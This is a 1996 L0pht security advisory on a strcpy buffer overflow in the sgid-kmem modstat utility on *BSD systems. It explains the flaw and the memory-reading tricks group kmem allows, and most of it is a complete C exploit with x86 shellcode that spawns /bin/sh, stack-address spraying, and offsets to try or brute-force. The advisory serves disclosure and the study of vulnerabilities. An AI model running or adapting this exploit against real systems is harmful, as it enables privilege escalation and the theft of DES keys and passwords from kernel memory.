L0pht Security Advisory
                       Advisory released Dec 9 1996

                           Application: modstat

                 Vulnerability Scope: systems with the *BSD
                    distribution of modstat sgid kmem

               Severity: Users can gain group kmem permissions
                and thus read DES keys, passwords, and in certain
                situations panic the machine (you know, the standard
                things you can do with group kmem perms).

                        Author: mudge@l0pht.com

Overview:

 Modstat is sgid kmem which is really handy to become if you feel
 like looking through /dev/mem and /dev/kmem (gee, wonder what
 you might want to do that for <grin>). Like just about everything
 else under the sun it has a buffer overflow problem. The problem
 exists in the dostat() routine where an arbitrary sized string
 is shoved into sbuf.name through a strcpy().

 It is also possible to panic many systems by reading through
 all memory. With memory mapped architectures you will set
 various flags for having read values and touched registers -
 since the system is expecting these registers to be in certain states,
 tripping them to other states can cause bizarre results can occur. A
 quick example is to md5 through your interface to memory and watch
 the confusion that can occur in certain systems ;-) So yes, in many cases
 being group kmem will let you shutdown a machine in a roundabout way...
 even with just Read-Only abilities.

 The difference between this and some other buffer overflow code is
 that this, much like my original syslog() code has to be placed "after"
 the saved stack frame since you only have under 57 bytes to deal with.
 However, we don't care that we might be munging the original args and
 environment vars now do we ;-). Care must still be taken to make sure the
 code does not contain NULL's as strcpy will end upon it's first NULL.

mudge@l0pht.com

---
Check out http://www.l0pht.com/advisories.html for other l0pht advisories
---

/********************************************************************
 * modstat buffer overflow code - mudge@l0pht.com                   *
 * 8/11/96                                                          *
 * Done initially on FreeBSD as my BSDI box is down right now...    *
 * sigh. It should work on any x86 arch with the standard *BSD      *
 * implementation as they all use the same opcodes and operands.    *
 * Go grab the splitvt code if you want this to work on Linux.      *
 *                                                                  *
 * try with offsets of -48, 7, 271, 326 with the way this is curr.  *
 * setup. If these fail, brute force it <grin>.                     *
 *                                                                  *
 * Many thanks to bitwrior for initially finding the code problem   *
 * in modstat and pointing it out to me - It's always nice when     *
 * someone hands you a bone to gnaw on without wanting              *
 * anything in particular out of it [this I know 'cause he has no   *
 * problems writing this sort of thing on his own].                 *
 *******************************************************************/

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
{
   __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv)
{
   int i, j, offset;
   char *bar, *foo;
   unsigned long *esp_plus = NULL;


   char mach_codes[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


   if (argc == 2)
     offset = atoi(argv[1]);
   else {
     fprintf(stderr, "Usage: %s offset\n", argv[0]);
     exit(1);
   }

   bar = malloc(4096);
   if (!bar){
     printf("failed to malloc memory\n");
     exit(1);
   }

   foo = bar;  /* copy of original ptr */

   esp_plus = (long *)bar;
   for(i=0; i < 24 ; i++)
     *(esp_plus++) = (get_esp() + offset);

   printf("Using offset (0x%x)\n", (get_esp() + offset));

   bar = (char *)esp_plus;

   for(j=0; j< strlen(mach_codes); j++)
     *(bar++) = mach_codes[j];

   *bar = 0;

   execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
}